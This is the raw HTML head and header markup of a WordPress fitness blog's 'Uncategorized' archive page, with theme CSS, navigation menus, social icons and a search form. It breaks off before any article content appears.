!important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-ast-global-color-0-background-color{background-color: var(--wp--preset--color--ast-global-color-0) !important;}.has-ast-global-color-1-background-color{background-color: var(--wp--preset--color--ast-global-color-1) !important;}.has-ast-global-color-2-background-color{background-color: var(--wp--preset--color--ast-global-color-2) !important;}.has-ast-global-color-3-background-color{background-color: var(--wp--preset--color--ast-global-color-3) !important;}.has-ast-global-color-4-background-color{background-color: var(--wp--preset--color--ast-global-color-4) !important;}.has-ast-global-color-5-background-color{background-color: var(--wp--preset--color--ast-global-color-5) !important;}.has-ast-global-color-6-background-color{background-color: var(--wp--preset--color--ast-global-color-6) !important;}.has-ast-global-color-7-background-color{background-color: var(--wp--preset--color--ast-global-color-7) !important;}.has-ast-global-color-8-background-color{background-color: var(--wp--preset--color--ast-global-color-8) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-ast-global-color-0-border-color{border-color: var(--wp--preset--color--ast-global-color-0) !important;}.has-ast-global-color-1-border-color{border-color: var(--wp--preset--color--ast-global-color-1) !important;}.has-ast-global-color-2-border-color{border-color: var(--wp--preset--color--ast-global-color-2) !important;}.has-ast-global-color-3-border-color{border-color: var(--wp--preset--color--ast-global-color-3) !important;}.has-ast-global-color-4-border-color{border-color: var(--wp--preset--color--ast-global-color-4) !important;}.has-ast-global-color-5-border-color{border-color: var(--wp--preset--color--ast-global-color-5) !important;}.has-ast-global-color-6-border-color{border-color: var(--wp--preset--color--ast-global-color-6) !important;}.has-ast-global-color-7-border-color{border-color: var(--wp--preset--color--ast-global-color-7) !important;}.has-ast-global-color-8-border-color{border-color: var(--wp--preset--color--ast-global-color-8) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
/*# sourceURL=global-styles-inline-css */
</style>

<link rel="https://api.w.org/" href="https://gymdailyfitness.com/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://gymdailyfitness.com/wp-json/wp/v2/categories/1" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://gymdailyfitness.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.1" />
<link rel="icon" href="https://gymdailyfitness.com/wp-content/uploads/2025/09/cropped-Black-White-Minimalist-Business-Logo-32x32.png" sizes="32x32" />
<link rel="icon" href="https://gymdailyfitness.com/wp-content/uploads/2025/09/cropped-Black-White-Minimalist-Business-Logo-192x192.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://gymdailyfitness.com/wp-content/uploads/2025/09/cropped-Black-White-Minimalist-Business-Logo-180x180.png" />
<meta name="msapplication-TileImage" content="https://gymdailyfitness.com/wp-content/uploads/2025/09/cropped-Black-White-Minimalist-Business-Logo-270x270.png" />
<style id="wp-custom-css">
.eael-entry-header, .eael-grid-post-excerpt{
display: -webkit-box;
-webkit-line-clamp: 1;
-webkit-box-orient: vertical;
overflow: hidden;
}
.wp-block-pages-list__item__link{
	color:white;
}
#block-19{
	margin-top:20px !important;
}
#block-13 .wp-block-heading{
	    margin-top: -9px !important;
}
.ast-primary-header-bar{
	box-shadow: 0px 1px 8px 0px #f1efef !important;
	border:none !important;
}
.site-logo-img img{
	    width: 259px; 
}
.wp-image-563{
	margin-top:29px;
}
.ast-custom-button{
	    background-color: #0b0b0c;
}
.eael-load-more-button-wrap{
	    margin: 37px;
}
.eael-load-more-button{
    color: #fff;
    background: black !important;
}
.main-navigation{
	    font-size: 20px;
}
.ast-custom-button{
   font-size:20px;
}
.vc_custom_heading h4{
	display: -webkit-box;
    -webkit-line-clamp: 2;
    -webkit-box-orient: vertical;
    overflow: hidden;
}
</style>
</head>

<body itemtype='https://schema.org/Blog' itemscope='itemscope' class="archive paged category category-uncategorized category-1 wp-custom-logo wp-embed-responsive paged-3 category-paged-3 wp-theme-astra ast-desktop ast-separate-container ast-two-container ast-no-sidebar astra-4.11.14 ast-inherit-site-logo-transparent ast-hfb-header">

<a
	class="skip-link screen-reader-text"
	href="#content">
		Skip to content</a>

<div
class="hfeed site" id="page">
			<header
		class="site-header header-main-layout-1 ast-primary-menu-enabled ast-logo-title-inline ast-hide-custom-menu-mobile ast-builder-menu-toggle-icon ast-mobile-header-inline" id="masthead" itemtype="https://schema.org/WPHeader" itemscope="itemscope" itemid="#masthead"		>
			<div id="ast-desktop-header" data-toggle-type="dropdown">
		<div class="ast-main-header-wrap main-header-bar-wrap ">
		<div class="ast-primary-header-bar ast-primary-header main-header-bar site-header-focus-item" data-section="section-primary-header-builder">
						<div class="site-primary-header-wrap ast-builder-grid-row-container site-header-focus-item ast-container" data-section="section-primary-header-builder">
				<div class="ast-builder-grid-row ast-builder-grid-row-has-sides ast-grid-center-col-layout">
											<div class="site-header-primary-section-left site-header-section ast-flex site-header-section-left">
									<div class="ast-builder-layout-element ast-flex site-header-focus-item" data-section="title_tagline">
							<div
				class="site-branding ast-site-identity" itemtype="https://schema.org/Organization" itemscope="itemscope"				>
					<span class="site-logo-img"><a href="https://gymdailyfitness.com/" class="custom-logo-link" rel="home"><img width="135" height="65" src="https://gymdailyfitness.com/wp-content/uploads/2025/10/cropped-Gym-Daily-Fitness-2-135x65.png" class="custom-logo" alt="" decoding="async" srcset="https://gymdailyfitness.com/wp-content/uploads/2025/10/cropped-Gym-Daily-Fitness-2-135x65.png 135w, https://gymdailyfitness.com/wp-content/uploads/2025/10/cropped-Gym-Daily-Fitness-2-300x144.png 300w, https://gymdailyfitness.com/wp-content/uploads/2025/10/cropped-Gym-Daily-Fitness-2.png 361w" sizes="(max-width: 135px) 100vw, 135px" /></a></span><div class="ast-site-title-wrap">
						<span class="site-title" itemprop="name">
				<a href="https://gymdailyfitness.com/" rel="home" itemprop="url" >
					
				</a>
			</span>
						
				</div>				</div>
			<!-- .site-branding -->
					</div>
												<div class="site-header-primary-section-left-center site-header-section ast-flex ast-grid-left-center-section">
																			</div>
															</div>
																		<div class="site-header-primary-section-center site-header-section ast-flex ast-grid-section-center">
										<div class="ast-builder-menu-1 ast-builder-menu ast-flex ast-builder-menu-1-focus-item ast-builder-layout-element site-header-focus-item" data-section="section-hb-menu-1">
			<div class="ast-main-header-bar-alignment"><div class="main-header-bar-navigation"><nav class="site-navigation ast-flex-grow-1 navigation-accessibility site-header-focus-item" id="primary-site-navigation-desktop" aria-label="Primary Site Navigation" itemtype="https://schema.org/SiteNavigationElement" itemscope="itemscope"><div class="main-navigation ast-inline-flex"><ul id="ast-hf-menu-1" class="main-header-menu ast-menu-shadow ast-nav-menu ast-flex  submenu-with-border ast-menu-hover-style-underline  stack-on-mobile"><li id="menu-item-761" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home menu-item-761"><a href="https://gymdailyfitness.com/" class="menu-link">Home</a></li>
<li id="menu-item-762" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-762"><a href="https://gymdailyfitness.com/about-us/" class="menu-link">About Us</a></li>
<li id="menu-item-766" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-766"><a aria-expanded="false" href="#" class="menu-link">Fitness Tip<span role="application" class="dropdown-menu-toggle ast-header-navigation-arrow" tabindex="0" aria-expanded="false" aria-label="Menu Toggle" aria-haspopup="true"><span class="ast-icon icon-arrow"><svg class="ast-arrow-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" width="26px" height="16.043px" viewbox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve">
                <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z" />
                </svg></span></span></a><button class="ast-menu-toggle" aria-expanded="false" aria-label="Toggle menu"><span class="screen-reader-text">Menu Toggle</span><span class="ast-icon icon-arrow"><svg class="ast-arrow-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" width="26px" height="16.043px" viewbox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve">
                <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z" />
                </svg></span></button>
<ul class="sub-menu">
	<li id="menu-item-767" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-767"><a href="https://gymdailyfitness.com/category/weight-loss-management/" class="menu-link"><span class="ast-icon icon-arrow"><svg class="ast-arrow-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" width="26px" height="16.043px" viewbox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve">
                <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z" />
                </svg></span>Weight Loss &amp; Management</a></li>
	<li id="menu-item-768" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-768"><a href="https://gymdailyfitness.com/category/trends-innovations/" class="menu-link"><span class="ast-icon icon-arrow"><svg class="ast-arrow-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" width="26px" height="16.043px" viewbox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve">
                <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z" />
                </svg></span>Trends &amp; Innovations</a></li>
	<li id="menu-item-769" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-769"><a href="https://gymdailyfitness.com/category/supplement-guides/" class="menu-link"><span class="ast-icon icon-arrow"><svg class="ast-arrow-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" width="26px" height="16.043px" viewbox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve">
                <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z" />
                </svg></span>Supplement Guides</a></li>
	<li id="menu-item-770" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-770"><a href="https://gymdailyfitness.com/category/special-audiences-niche-topics/" class="menu-link"><span class="ast-icon icon-arrow"><svg class="ast-arrow-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" width="26px" height="16.043px" viewbox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve">
                <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z" />
                </svg></span>Special Audiences &amp; Niche Topics</a></li>
	<li id="menu-item-771" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-771"><a href="https://gymdailyfitness.com/category/nutrition-diet/" class="menu-link"><span class="ast-icon icon-arrow"><svg class="ast-arrow-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" width="26px" height="16.043px" viewbox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve">
                <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z" />
                </svg></span>Nutrition &amp; Diet</a></li>
	<li id="menu-item-772" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-772"><a href="https://gymdailyfitness.com/category/mental-wellness-motivation/" class="menu-link"><span class="ast-icon icon-arrow"><svg class="ast-arrow-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" width="26px" height="16.043px" viewbox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve">
                <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z" />
                </svg></span>Mental Wellness &amp; Motivation</a></li>
	<li id="menu-item-773" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-773"><a href="https://gymdailyfitness.com/category/lifestyle-healthy-habits/" class="menu-link"><span class="ast-icon icon-arrow"><svg class="ast-arrow-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" width="26px" height="16.043px" viewbox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve">
                <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z" />
                </svg></span>Lifestyle &amp; Healthy Habits</a></li>
	<li id="menu-item-774" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-774"><a href="https://gymdailyfitness.com/category/injury-prevention-recovery/" class="menu-link"><span class="ast-icon icon-arrow"><svg class="ast-arrow-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" width="26px" height="16.043px" viewbox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve">
                <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z" />
                </svg></span>Injury Prevention &amp; Recovery</a></li>
	<li id="menu-item-775" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-775"><a href="https://gymdailyfitness.com/category/fitness-excercise/" class="menu-link"><span class="ast-icon icon-arrow"><svg class="ast-arrow-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" width="26px" height="16.043px" viewbox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve">
                <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z" />
                </svg></span>Fitness &amp; Excercise</a></li>
	<li id="menu-item-776" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-776"><a href="https://gymdailyfitness.com/category/challenges-personal-development/" class="menu-link"><span class="ast-icon icon-arrow"><svg class="ast-arrow-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" width="26px" height="16.043px" viewbox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve">
                <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z" />
                </svg></span>Challenges &amp; Personal Development</a></li>
</ul>
</li>
<li id="menu-item-763" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-763"><a href="https://gymdailyfitness.com/contact-us/" class="menu-link">Contact US</a></li>
</ul></div></nav></div></div>		</div>
									</div>
																			<div class="site-header-primary-section-right site-header-section ast-flex ast-grid-right-section">
																	<div class="site-header-primary-section-right-center site-header-section ast-flex ast-grid-right-center-section">
																			</div>
											<div class="ast-builder-layout-element ast-flex site-header-focus-item" data-section="section-hb-social-icons-1">
			<div class="ast-header-social-1-wrap ast-header-social-wrap"><div class="header-social-inner-wrap element-social-inner-wrap social-show-label-false ast-social-color-type-custom ast-social-stack-none ast-social-element-style-filled"><a href="" aria-label="Facebook" target="_blank" rel="noopener noreferrer" style="--color: #557dbc; --background-color: transparent;" class="ast-builder-social-element ast-inline-flex ast-facebook header-social-item"><span aria-hidden="true" class="ahfb-svg-iconset ast-inline-flex svg-baseline"><svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 448 512'><path d='M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h137.25V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.27c-30.81 0-40.42 19.12-40.42 38.73V256h68.78l-11 71.69h-57.78V480H400a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48z'></path></svg></span></a><a href="" aria-label="Twitter" target="_blank" rel="noopener noreferrer" style="--color: #7acdee; --background-color: transparent;" class="ast-builder-social-element ast-inline-flex ast-twitter header-social-item"><span aria-hidden="true" class="ahfb-svg-iconset ast-inline-flex svg-baseline"><svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 512 512'><path d='M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z'></path></svg></span></a><a href="" aria-label="Instagram" target="_blank" rel="noopener noreferrer" style="--color: #8a3ab9; --background-color: transparent;" class="ast-builder-social-element ast-inline-flex ast-instagram header-social-item"><span aria-hidden="true" class="ahfb-svg-iconset ast-inline-flex svg-baseline"><svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 448 512'><path d='M224,202.66A53.34,53.34,0,1,0,277.36,256,53.38,53.38,0,0,0,224,202.66Zm124.71-41a54,54,0,0,0-30.41-30.41c-21-8.29-71-6.43-94.3-6.43s-73.25-1.93-94.31,6.43a54,54,0,0,0-30.41,30.41c-8.28,21-6.43,71.05-6.43,94.33S91,329.26,99.32,350.33a54,54,0,0,0,30.41,30.41c21,8.29,71,6.43,94.31,6.43s73.24,1.93,94.3-6.43a54,54,0,0,0,30.41-30.41c8.35-21,6.43-71.05,6.43-94.33S357.1,182.74,348.75,161.67ZM224,338a82,82,0,1,1,82-82A81.9,81.9,0,0,1,224,338Zm85.38-148.3a19.14,19.14,0,1,1,19.13-19.14A19.1,19.1,0,0,1,309.42,189.74ZM400,32H48A48,48,0,0,0,0,80V432a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V80A48,48,0,0,0,400,32ZM382.88,322c-1.29,25.63-7.14,48.34-25.85,67s-41.4,24.63-67,25.85c-26.41,1.49-105.59,1.49-132,0-25.63-1.29-48.26-7.15-67-25.85s-24.63-41.42-25.85-67c-1.49-26.42-1.49-105.61,0-132,1.29-25.63,7.07-48.34,25.85-67s41.47-24.56,67-25.78c26.41-1.49,105.59-1.49,132,0,25.63,1.29,48.33,7.15,67,25.85s24.63,41.42,25.85,67.05C384.37,216.44,384.37,295.56,382.88,322Z'></path></svg></span></a></div></div>		</div>
				<div class="ast-builder-layout-element ast-flex site-header-focus-item ast-header-search" data-section="section-header-search">
					<div class="ast-search-menu-icon slide-search" >
		<form role="search" method="get" class="search-form" action="https://gymdailyfitness.com/">
	<label for="search-field">
		<span class="screen-reader-text">Search for:</span>
		<input type="search" id="search-field" class="search-field"   placeholder="Search..." value="" name="s" tabindex="-1">
					<button class="search-submit ast-search-submit" aria-label="Search Submit">
				<span hidden>Search</span>
				<i><span class="ast-icon icon-search"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" viewbox="-893 477 142 142" enable-background="new -888 480 142 142" xml:space="preserve">
						  <path d="M-787.4,568.7h-6.3l-2.4-2.4c7.9-8.7,12.6-20.5,12.6-33.1c0-28.4-22.9-51.3-51.3-51.3  c-28.4,0-51.3,22.9-51.3,51.3c0,28.4,22.9,51.3,51.3,51.3c12.6,0,24.4-4.7,33.1-12.6l2.4,2.4v6.3l39.4,39.4l11.8-11.8L-787.4,568.7  L-787.4,568.7z M-834.7,568.7c-19.7,0-35.5-15.8-35.5-35.5c0-19.7,15.8-35.5,35.5-35.5c19.7,0,35.5,15.8,35.5,35.5  C-799.3,553-815,568.7-834.7,568.7L-834.7,568.7z" />
						  </svg></span></i>
			</button>
			</label>
	</form>
			<div class="ast-search-icon">
				<a class="slide-search astra-search-icon" role="button" tabindex="0" aria-label="Search button" href="#">
					<span class="screen-reader-text">Search</span>
					<span class="ast-icon icon-search"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" viewbox="-893 477 142 142" enable-background="new -888 480 142 142" xml:space="preserve">
						  <path d="M-787.4,568.7h-6.3l-2.4-2.4c7.9-8.7,12.6-20.5,12.6-33.1c0-28.4-22.9-51.3-51.3-51.3  c-28.4,0-51.3,22.9-51.3,51.3c0,28.4,22.9,51.3,51.3,51.3c12.6,0,24.4-4.7,33.1-12.6l2.4,2.4v6.3l39.4,39.4l11.8-11.8L-787.4,568.7  L-787.4,568.7z M-834.7,568.7c-19.7,0-35.5-15.8-35.5-35.5c0-19.7,15.8-35.5,35.5-35.5c19.7,0,35.5,15.8,35.5,35.5  C-799.3,553-815,568.7-834.7,568.7L-834.7,568.7z" />
						  </svg></span>				</a>
			</div>
		</div>
				</div>
									</div>
												</div>
					</div>
								</div>
			</div>
	</div> <!-- Main Header Bar Wrap -->
<div id="ast-mobile-header" class="ast-mobile-header-wrap " data-type="dropdown">
		<div class="ast-main-header-wrap main-header-bar-wrap" >
		<div class="ast-primary-header-bar ast-primary-header main-header-bar site-primary-header-wrap site-header-focus-item ast-builder-grid-row-layout-default ast-builder-grid-row-tablet-layout-default ast-builder-grid-row-mobile-layout-default" data-section="section-primary-header-builder">
									<div class="ast-builder-grid-row ast-builder-grid-row-has-sides ast-builder-grid-row-no-center">
													<div class="site-header-primary-section-left site-header-section ast-flex site-header-section-left">
										<div class="ast-builder-layout-element ast-flex site-header-focus-item" data-section="title_tagline">
							<div
				class="site-branding ast-site-identity" itemtype="https://schema.org/Organization" itemscope="itemscope"				>
					<span class="site-logo-img"><a href="https://gymdailyfitness.com/" class="custom-logo-link" rel="home"><img width="135" height="65" src="https://gymdailyfitness.com/wp-content/uploads/2025/10/cropped-Gym-Daily-Fitness-2-135x65.png" class="custom-logo" alt="" decoding="async" srcset="https://gymdailyfitness.com/wp-content/uploads/2025/10/cropped-Gym-Daily-Fitness-2-135x65.png 135w, https://gymdailyfitness.com/wp-content/uploads/2025/10/cropped-Gym-Daily-Fitness-2-300x144.png 300w, https://gymdailyfitness.com/wp-content/uploads/2025/10/cropped-Gym-Daily-Fitness-2.png 361w" sizes="(max-width: 135px) 100vw, 135px" /></a></span><div class="ast-site-title-wrap">
						<span class="site-title" itemprop="name">
				<a href="https://gymdailyfitness.com/" rel="home" itemprop="url" >
					
				</a>
			</span>
						
				</div>				</div>
			<!-- .site-branding -->
					</div>
									</div>
																									<div class="site-header-primary-section-right site-header-section ast-flex ast-grid-right-section">
										<div class="ast-builder-layout-element ast-flex site-header-focus-item" data-section="section-header-mobile-trigger">
						<div class="ast-button-wrap">
				<button type="button" class="menu-toggle main-header-menu-toggle ast-mobile-menu-trigger-minimal"   aria-expanded="false" aria-label="Main menu toggle">
					<span class="screen-reader-text">Main Menu</span>
					<span class="mobile-menu-toggle-icon">
						<span aria-hidden="true" class="ahfb-svg-iconset ast-inline-flex svg-baseline"><svg class='ast-mobile-svg ast-menu-svg' fill='currentColor' version='1.1' xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24'><path d='M3 13h18c0.552 0 1-0.448 1-1s-0.448-1-1-1h-18c-0.552 0-1 0.448-1 1s0.448 1 1 1zM3 7h18c0.552 0 1-0.448 1-1s-0.448-1-1-1h-18c-0.552 0-1 0.448-1 1s0.448 1 1 1zM3 19h18c0.552 0 1-0.448 1-1s-0.448-1-1-1h-18c-0.552 0-1 0.448-1 1s0.448 1 1 1z'></path></svg></span><span aria-hidden="true" class="ahfb-svg-iconset ast-inline-flex svg-baseline"><svg class='ast-mobile-svg ast-close-svg' fill='currentColor' version='1.1' xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24'><path d='M5.293 6.707l5.293 5.293-5.293 5.293c-0.391 0.391-0.391 1.024 0 1.414s1.024 0.391 1.414 0l5.293-5.293 5.293 5.293c0.391 0.391 1.024 0.391 1.414 0s0.391-1.024 0-1.414l-5.293-5.293 5.293-5.293c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z'></path></svg></span>					</span>
									</button>
			</div>
					</div>
									</div>
											</div>
						</div>
	</div>
				<div class="ast-mobile-header-content content-align-flex-start ">
						<div class="ast-builder-menu-mobile ast-builder-menu ast-builder-menu-mobile-focus-item ast-builder-layout-element site-header-focus-item" data-section="section-header-mobile-menu">
			<div class="ast-main-header-bar-alignment"><div class="main-header-bar-navigation"><nav class="site-navigation ast-flex-grow-1 navigation-accessibility" id="ast-mobile-site-navigation" aria-label="Site Navigation" itemtype="https://schema.org/SiteNavigationElement" itemscope="itemscope"><div id="ast-hf-mobile-menu" class="main-navigation"><ul class="main-header-menu ast-nav-menu ast-flex  submenu-with-border astra-menu-animation-fade  stack-on-mobile"><li class="page_item page-item-19 menu-item"><a href="https://gymdailyfitness.com/about-us/" class="menu-link">About Us</a></li><li class="page_item page-item-21 menu-item"><a href="https://gymdailyfitness.com/contact-us/" class="menu-link">Contact US</a></li><li class="page_item page-item-746 menu-item"><a href="https://gymdailyfitness.com/fitness-tips/" class="menu-link">Fitness Tips</a></li><li class="page_item page-item-15 menu-item"><a href="https://gymdailyfitness.com/" class="menu-link">Home</a></li></ul></div></nav></div></div>		</div>
					</div>
			</div>
		</header><!-- #masthead -->
			<div id="content" class="site-content">
		<div class="ast-container">
		

	<div id="primary" class="content-area primary ast-grid-3 ast-blog-layout-4-grid">

		
				<section class="ast-archive-description">
			<h1 class="page-title ast-archive-title">Uncategorized</h1>		</section>
	
					<main id="main" class="site-main">
				<div class="ast-row"><article
class="post-66 post type-post status-publish format-standard has-post-thumbnail hentry category-challenges-personal-development category-uncategorized ast-grid-common-col ast-full-width ast-article-post remove-featured-img-padding" id="post-66" itemtype="https://schema.org/CreativeWork" itemscope="itemscope">
		<div class="ast-post-format- blog-layout-4 ast-article-inner">
	<div class="post-content ast-grid-common-col" >
